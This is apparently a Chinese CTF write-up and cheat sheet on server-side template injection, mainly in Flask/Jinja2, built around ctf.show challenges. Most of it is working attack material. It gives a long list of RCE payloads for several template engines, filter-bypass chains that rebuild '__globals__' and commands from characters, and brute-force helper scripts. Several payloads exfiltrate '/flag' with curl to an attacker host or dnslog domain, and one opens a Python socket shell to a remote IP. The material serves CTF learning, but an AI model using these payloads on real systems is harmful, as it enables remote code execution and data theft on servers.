赞
踩
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。
模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。
SSTI 就是服务器端模板注入(Server-Side Template Injection)
当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。
凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。
变量块 {{}} 用于将表达式打印到模板输出
注释块 {##} 注释
控制块 {%%} 可以声明变量,也可以执行语句
行声明 ## 可以有和{%%}相同的效果
常用方法
__class__ 查看对象所在的类 __mro__ 查看继承关系和调用顺序,返回元组 __base__ 返回基类 __bases__ 返回基类元组 __subclasses__() 返回子类列表 __init__ 调用初始化函数,可以用来跳到__globals__ __globals__ 返回函数所在的全局命名空间所定义的全局变量,返回字典 __builtins__ 返回内建内建名称空间字典 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候,形如:a.xxx/a.xxx()都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b') __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()] __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。 url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}} {{cycler.__init__.__globals__.os.popen('ls').read()}} current_app 应用上下文,一个全局变量 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read() request.args.x1 get传参 request.values.x1 所有参数 request.cookies cookies参数 request.headers 请求头参数 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data) request.data post传参 (Content-Type:a/b) request.json post传json (Content-Type: application/json) config 当前application的所有配置。此外,也可以这样{{config.__class__.__init__.__globals__['os'].popen('ls').read() }}
过滤器
int() 将值转换为int类型; float() 将值转换为float类型; lower() 将字符串转换为小写; upper() 将字符串转换为大写; title() 把值中的每个单词的首字母都转成大写; capitalize() 把变量值的首字母转成大写,其余字母转小写; trim() 截取字符串前面和后面的空白字符; wordcount() 计算一个长字符串中单词的个数; reverse() 字符串反转; replace(value,old,new) 替换将old替换为new的字符串; truncate(value,length=255,killwords=False) 截取length长度的字符串; striptags() 删除字符串中所有的HTML标签,如果出现多个空格,将替换成一个空格; escape()或e 转义字符,会将<、>等符号转义成HTML中的符号。显例:content|escape或content|e。 safe() 禁用HTML转义,如果开启了全局转义,那么safe过滤器会将变量关掉转义。示例: {{'<em>hello</em>'|safe}}; list() 将变量列成列表; string() 将变量转换成字符串; join() 将一个序列中的参数值拼接成字符串。示例看上面payload; abs() 返回一个数值的绝对值; first() 返回一个序列的第一个元素; last() 返回一个序列的最后一个元素; format(value,arags,*kwargs) 格式化字符串。比如:{{"%s" - "%s"|format('Hello?',"Foo!") }}将输出:Helloo? - Foo! length() 返回一个序列或者字典的长度; sum() 返回列表内数值的和; sort() 返回排序后的列表; default(value,default_value,boolean=false) 如果当前变量没有值,则会使用参数中的值来代替。示例:name|default('xiaotuo')----如果name不存在,则会使用xiaotuo来替代。boolean=False默认是在只有这个变量为undefined的时候才会使用default中的值,如果想使用python的形式判断是否为false,则可以传递boolean=true。也可以使用or来替换。 length() 返回字符串的长度,别名是count
获取基本类的方法
[].__class__.__base__
''.__class__.__mro__[2]
().__class__.__base__
{}.__class__.__base__
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
或者
[].__class__.__bases__[0] //其他的类似
获取基本类的子类
[].__class__.__base__.__subclasses__()
执行命令
?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}
如果我们不知道索引号,可以写一个脚本循环输出
for i in enumerate(''.__class__.__bases__[0].__subclasses__()):
print(i)
注入思路
1.随便找一个内置类对象用__class__拿到他所对应的类
2.用__bases__拿到基类(<class 'object'>)
3.用__subclasses__()拿到子类列表
4.在子类列表中直接寻找可以利用的类getshell
对象→类→基本类→子类→__init__方法→__globals__属性→__builtins__属性→eval函数
常用payload:
{{4*4}}[[5*5]] {{7*7}} {{7*'7'}} <%= 7 * 7 %> ${3*3} ${{7*7}} @(1+2) #{3*3} #{ 7 * 7 } {{dump(app)}} {{app.request.server.all|join(',')}} {{config.items()}} {{ [].class.base.subclasses() }} {{''.class.mro()[1].subclasses()}} {{ ''.__class__.__mro__[2].__subclasses__() }} {% for key, value in config.iteritems() %}<dt>{{ key|e }}</dt><dd>{{ value|e }}</dd>{% endfor %} {{'a'.toUpperCase()}} {{ request }} {{self}} <%= File.open('/etc/passwd').read %> <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} {{app.request.query.filter(0,0,1024,{'options':'system'})}} {{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }} {{ config.items()[4][1].__class__.__mro__[2].__subclasses__()[40]("/etc/passwd").read() }} {{''.__class__.mro()[1].__subclasses__()[396]('cat flag.txt',shell=True,stdout=-1).communicate()[0].strip()}} {{config.__class__.__init__.__globals__['os'].popen('ls').read()}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%endif%}{%endfor%} {$smarty.version} {php}echo `id`;{/php} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{request|attr([request.args.usc*2,request.args.class,request.args.usc*2]|join)}} {{request|attr(["_"*2,"class","_"*2]|join)}} {{request|attr(["__","class","__"]|join)}} {{request|attr("__class__")}} {{request.__class__}} {{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}{%endif%}{% endfor %} ${T(java.lang.System).getenv()} ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}${self.module.cache.util.os.system("id")} ${self.module.runtime.util.os.system("id")} ${self.template.module.cache.util.os.system("id")} ${self.module.cache.compat.inspect.os.system("id")} ${self.__init__.__globals__['util'].os.system('id')} ${self.template.module.runtime.util.os.system("id")} ${self.module.filters.compat.inspect.os.system("id")} ${self.module.runtime.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.util.os.system("id")} ${self.template.__init__.__globals__['os'].system('id')} ${self.module.cache.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.util.os.system("id")} ${self.template.module.cache.compat.inspect.os.system("id")} ${self.module.cache.compat.inspect.linecache.os.system("id")} ${self.template._mmarker.module.runtime.util.os.system("id")} ${self.attr._NSAttr__parent.module.cache.util.os.system("id")} ${self.template.module.filters.compat.inspect.os.system("id")} ${self.template.module.runtime.compat.inspect.os.system("id")} ${self.module.filters.compat.inspect.linecache.os.system("id")} ${self.module.runtime.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.exceptions.util.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.util.os.system("id")} ${self.context._with_template.module.cache.util.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.template.module.cache.util.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.util.os.system("id")} ${self.module.cache.util.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.util.compat.inspect.os.system("id")} ${self.module.runtime.util.compat.inspect.linecache.os.system("id")} ${self.module.runtime.exceptions.traceback.linecache.os.system("id")} ${self.module.runtime.exceptions.util.compat.inspect.os.system("id")} ${self.template._mmarker.module.cache.compat.inspect.os.system("id")} ${self.template.module.cache.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.cache.util.os.system("id")} ${self.template._mmarker.module.filters.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.cache.compat.inspect.os.system("id")} ${self.template._mmarker.module.runtime.exceptions.util.os.system("id")} ${self.template.module.filters.compat.inspect.linecache.os.system("id")} ${self.template.module.runtime.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.template.module.runtime.util.os.system("id")} ${self.context._with_template._mmarker.module.cache.util.os.system("id")} ${self.template.module.runtime.exceptions.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.filters.compat.inspect.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.cache.compat.inspect.os.system("id")} ${self.module.runtime.exceptions.compat.inspect.linecache.os.system("id")} ${self.attr._NSAttr__parent.module.runtime.exceptions.util.os.system("id")} ${self.context._with_template._mmarker.module.runtime.util.os.system("id")} ${self.context._with_template.module.filters.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.compat.inspect.os.system("id")} ${self.context._with_template.module.runtime.exceptions.util.os.system("id")} ${self.template.module.runtime.exceptions.traceback.linecache.os.system("id")} {{self._TemplateReference__context.cycler.__init__.__globals__.os}} {{self._TemplateReference__context.joiner.__init__.__globals__.os}} {{self._TemplateReference__context.namespace.__init__.__globals__.os}} {{cycler.__init__.__globals__.os}} {{joiner.__init__.__globals__.os}} {{namespace.__init__.__globals__.os}}
可以直接用 lipsum 和 cycler 执行命令
lipsum: flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:
?name={{lipsum.__globals__['os'].popen('tac ../flag').read()}}
?name={{cycler.__init__.__globals__.os.popen('ls').read()}}
?name={{[].__class__.__base__.__subclasses__()[80].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /f*").read()')}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
url_for: flask的一个方法,可以用于得到__builtins__,而且url_for.globals[‘builtins’]含有current_app
init: 调用初始化函数,可以用来跳到__globals__
?name={{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}
?name={{x.__init__.__globals__['__builtins__'].eval('__import__("os").popen("cat /flag").read()')}}
//x可以为任意字符串
利用上传别的参数绕过对name的过滤。
request.args.x1 get传参
?name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}&a=os&b=popen&c=cat /flag
在上题的基础上过滤了args无法使用get传参,尝试使用cookie传参
request.cookies cookies参数
?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}
{{x.__init__.__globals__[request.cookies.a].eval(request.cookies.b)}}
#两种方式都可以
cookies:a=builtins;b=import(‘os’).popen(‘cat /flag’).read()
cookies:a=__builtins__;b=__import__('os').popen('cat /flag').read()
过滤单双引号和中括号
payload1:
?name={{x.__init__.__globals__.__getitem__(request.cookies.a).eval(request.cookies.b)}}
payload2:
value没有被过滤
request.values.x1 所有参数
?name={{lipsum.__globals__.os.popen(request.values.ocean).read()}}&ocean=cat /flag
payload3:
字符串拼接,通过__getitem__()
构造任意字符
__getitem__()
调用字典中的键值,其实就是调用这个魔术方法,比如a[‘b’],就是a.getitem(‘b’)
?name={{config.__str__().__getitem__(22)}} # 就是22
可以利用脚本构造字符
# anthor:秀儿 import requests url="http://24d7f73c-6e64-4d9c-95a7-abe78558771a.chall.ctf.show:8080/?name={{config.__str__().__getitem__(%d)}}" payload="cat /flag" result="" for j in payload: for i in range(0,1000): r=requests.get(url=url%(i)) location=r.text.find("<h3>") word=r.text[location+4:location+5] if word==j: print("config.__str__().__getitem__(%d) == %s"%(i,j)) result+="config.__str__().__getitem__(%d)~"%(i) break print(result[:len(result)-1])
?name={{url_for.__globals__.os.popen(config.__str__().__getitem__(22)~config.__str__().__getitem__(40)~config.__str__().__getitem__(23)~config.__str__().__getitem__(7)~config.__str__().__getitem__(279)~config.__str__().__getitem__(4)~config.__str__().__getitem__(41)~config.__str__().__getitem__(40)~config.__str__().__getitem__(6)).read()}}
过滤了单双引号、args、中括号[]、下划线
Payload1:
cookie传参
?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
cookie:a=__globals__;b=cat /flag
lipsum|attr(request.cookies.a)
相当于
__builtins__.__a__
value值绕过name过滤
?name={{lipsum|attr(request.values.a)|attr(request.values.b)(request.values.c)|attr(request.values.d)(request.values.ocean)|attr(request.values.f)()}}&ocean=cat /flag&a=__globals__&b=__getitem__&c=os&d=popen&f=read
在上题的基础上过滤了os,使用value绕过name过滤或者使用cookie传参。
attr用于获取对象的属性。foo|attr(“bar”)与foo类似。只是始终返回一个属性
变量可以通过过滤器修改。过滤器与变量之间用管道符号(|)隔开,括号中可以有可选参数。可以链接多 个过滤器。一个过滤器的输出应用于下一个过滤器。
例如,{{ name|striptags|title }} 将删除变量名中的所有HTML标记,并将title大小写为输出(title(striptags(name)))。
""|attr("__class__")
相当于
"".__class__
?name={{(lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read()}}&a=__globals__&b=os&c=cat /flag
可以使用{%xxx%}绕过
{%xxx%}可以用来声明变量,当然也可以用于循环语句和条件语句。
{% set x= 'abcd' %} 声明变量
{% for i in ['a','b','c'] %}{{i}}{%endfor%} 循环语句
{% if 25==5*5 %}{{1}}{% endif %} 条件语句
{%print(3*3)%}
结果输出 9
Payload:
在上题的基础上加个print()
?name={%print((lipsum|attr(request.values.a)).get(request.values.b).popen(request.values.c).read())%}&a=__globals__&b=os&c=cat /flag
yu师傅:https://blog.csdn.net/miuzzx/article/details/112168039
OcenSec师傅:https://blog.csdn.net/q20010619/article/details/120493997
Payload1:
字符串替换
http://ec6b99bb-953a-4e28-8962-084bda49c739.chall.ctf.show/?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}
http://fb992fe4-1fed-4c5a-9eb8-5924ffd562d9.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24) %}{% set globals=(a,a,dict(globals=1)|join,a,a)|join %}
{% set init=(a,a,dict(init=1)|join,a,a)|join %}
{% set builtins=(a,a,dict(builtins=1)|join,a,a)|join %}
{% set a=(lipsum|attr(globals)).get(builtins) %}
{% set chr=a.chr %}
{% print a.open(chr(47)~chr(102)~chr(108)~chr(97)~chr(103)).read() %}
相当于
lipsum.__globals__['__builtins__'].open('/flag').read()
# 在__builtins__里面拿到chr,同样可以很方便的构造字符
Payload2:
字符串拼接,绕过方法就是使用 365 题的字符串拼接,但是下划线被 ban,str()不能用,需要用 string 过滤器得到 config 字符串:config|string,但是获得字符串后本来应该用中括号或者__getitem__(),但是问题是_被ban了,所以获取字符串中的某个字符比较困难,这里转换成列表,再用列表的pop方法就可以成功得到某个字符了,在跑字符的时候发现没有小写的b,只有大写的B,所以再去一层.lower()方法,方便跑更多字符。
# anthor:秀儿 import requests url="http://ac6e1d67-01fa-414d-8622-ab71706a7dca.chall.ctf.show:8080/?name={ {% print (config|string|list).pop({}).lower() %}}" payload="cat /flag" result="" for j in payload: for i in range(0,1000): r=requests.get(url=url.format(i)) location=r.text.find("<h3>") word=r.text[location+4:location+5] if word==j.lower(): print("(config|string|list).pop(%d).lower() == %s"%(i,j)) result+="(config|string|list).pop(%d).lower()~"%(i) break print(result[:len(result)-1])
?name={% print (lipsum|attr((config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(6).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(2).lower()~(config|string|list).pop(33).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(42).lower()~(config|string|list).pop(74).lower()~(config|string|list).pop(74).lower()
)).get((config|string|list).pop(2).lower()~(config|string|list).pop(42).lower()).popen((config|string|list).pop(1).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(23).lower()~(config|string|list).pop(7).lower()~(config|string|list).pop(279).lower()~(config|string|list).pop(4).lower()~(config|string|list).pop(41).lower()~(config|string|list).pop(40).lower()~(config|string|list).pop(6).lower()).read() %}
Payload3:
反弹shell
http://fb992fe4-1fed-4c5a-9eb8-5924ffd562d9.challenge.ctf.show/?name=
{% set a=(()|select|string|list).pop(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set cmd=chr(95)%2bchr(95)%2bchr(105)%2bchr(109)%2bchr(112)%2bchr(111)%2bchr(114)%2bchr(116)%2bchr(95)%2bchr(95)%2bchr(40)%2bchr(34)%2bchr(111)%2bchr(115)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(112)%2bchr(111)%2bchr(112)%2bchr(101)%2bchr(110)%2bchr(40)%2bchr(34)%2bchr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(49)%2bchr(49)%2bchr(56)%2bchr(46)%2bchr(51)%2bchr(49)%2bchr(46)%2bchr(49)%2bchr(54)%2bchr(53)%2bchr(46)%2bchr(54)%2bchr(51)%2bchr(58)%2bchr(54)%2bchr(54)%2bchr(54)%2bchr(54)%2bchr(63)%2bchr(112)%2bchr(61)%2bchr(96)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(96)%2bchr(34)%2bchr(41)%2bchr(46)%2bchr(114)%2bchr(101)%2bchr(97)%2bchr(100)%2bchr(40)%2bchr(41)%}
{%if x.eval(cmd)%}
123
{%endif%}
cmd的值用脚本生成
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+str(ord(s[i]))+')%2b'
else:
t+='chr('+str(ord(s[i]))+')'
return t
a=ccchr(s)
print(a)
Payload1:
也是字符替换,把数字替换成字符
http://bb03c844-9e63-4ee0-8659-fd30a88c63ff.chall.ctf.show/ ?name= {% set c=(dict(e=a)|join|count)%} {% set cc=(dict(ee=a)|join|count)%} {% set ccc=(dict(eee=a)|join|count)%} {% set cccc=(dict(eeee=a)|join|count)%} {% set ccccccc=(dict(eeeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set coun=(cc~cccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set file=chr((cccc~ccccccc)|int)%2bchr((cccccccccc~cc)|int)%2bchr((cccccccccc~cccccccc)|int)%2bchr((ccccccccc~ccccccc)|int)%2bchr((cccccccccc~ccc)|int)%} {%print(x.open(file).read())%}
{%set num=dict(aaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set numm=dict(aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa=a)|join|count%}
{%set x=(()|select|string|list).pop(num)%}
{%set glob = (x,x,dict(globals=a)|join,x,x)|join %}
{%set builtins=x~x~(dict(builtins=a)|join)~x~x%}
{%set c = dict(chr=a)|join%}
{%set o = dict(o=a,s=a)|join%}
{%set getitem = x~x~(dict(getitem=a)|join)~x~x%}
{%set chr = lipsum|attr(glob)|attr(getitem)(builtins)|attr(getitem)(c)%}
{%set file = chr(numm)~dict(flag=a)|join%}
{%print((lipsum|attr(glob)|attr(getitem)(builtins)).open(file).read())%}
Payload2:
反弹shell,服务器用nc开启监听,将生成的url发过去就行,不过可能会有点慢。
import requests cmd='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()' def fun1(s): t=[] for i in range(len(s)): t.append(ord(s[i])) k='' t=list(set(t)) for i in t: k+='{% set '+'e'*(t.index(i)+1)+'=dict('+'e'*i+'=a)|join|count%}\n' return k def fun2(s): t=[] for i in range(len(s)): t.append(ord(s[i])) t=list(set(t)) k='' for i in range(len(s)): if i<len(s)-1: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')%2b' else: k+='chr('+'e'*(t.index(ord(s[i]))+1)+')' return k url ='http://68f8cbd4-f452-4d69-b382-81eafed22f3f.chall.ctf.show/?name='+fun1(cmd)+''' {% set coun=dict(eeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd='''+fun2(cmd)+''' %} {%if x.eval(cmd)%} abc {%endif%} ''' print(url)
Payload1:
上题的curl反弹脚本可以使用,不过要注意反弹过来的flag没有{},记得自己加上。
Payload2:
http://c8f74fd3-a05a-477c-bb97-10325b9ce77d.chall.ctf.show?name= {% set c=(t|count)%} {% set cc=(dict(e=a)|join|count)%} {% set ccc=(dict(ee=a)|join|count)%} {% set cccc=(dict(eee=a)|join|count)%} {% set ccccc=(dict(eeee=a)|join|count)%} {% set cccccc=(dict(eeeee=a)|join|count)%} {% set ccccccc=(dict(eeeeee=a)|join|count)%} {% set cccccccc=(dict(eeeeeee=a)|join|count)%} {% set ccccccccc=(dict(eeeeeeee=a)|join|count)%} {% set cccccccccc=(dict(eeeeeeeee=a)|join|count)%} {% set ccccccccccc=(dict(eeeeeeeeee=a)|join|count)%} {% set cccccccccccc=(dict(eeeeeeeeeee=a)|join|count)%} {% set coun=(ccc~ccccc)|int%} {% set po=dict(po=a,p=a)|join%} {% set a=(()|select|string|list)|attr(po)(coun)%} {% set ini=(a,a,dict(init=a)|join,a,a)|join()%} {% set glo=(a,a,dict(globals=a)|join,a,a)|join()%} {% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%} {% set built=(a,a,dict(builtins=a)|join,a,a)|join()%} {% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%} {% set chr=x.chr%} {% set cmd= %} {%if x.eval(cmd)%} abc {%endif%}
cmd由脚本生成
def aaa(t):
t='('+(int(t[:-1:])+1)*'c'+'~'+(int(t[-1])+1)*'c'+')|int'
return t
s='__import__("os").popen("curl http://xxx:4567?p=`cat /flag`").read()'
def ccchr(s):
t=''
for i in range(len(s)):
if i<len(s)-1:
t+='chr('+aaa(str(ord(s[i])))+')%2b'
else:
t+='chr('+aaa(str(ord(s[i])))+')'
return t
print(ccchr(s))
这题是用mumuzi师傅的payload
可以用length替换
注意:请将xxx地方换成自己的xxx.dnslog.cn,只需要替换xxxx其余不要动,而且不能出现数字,如果子域名带有数字请重新获取子域名直到没有数字。
?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(xxx =a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}
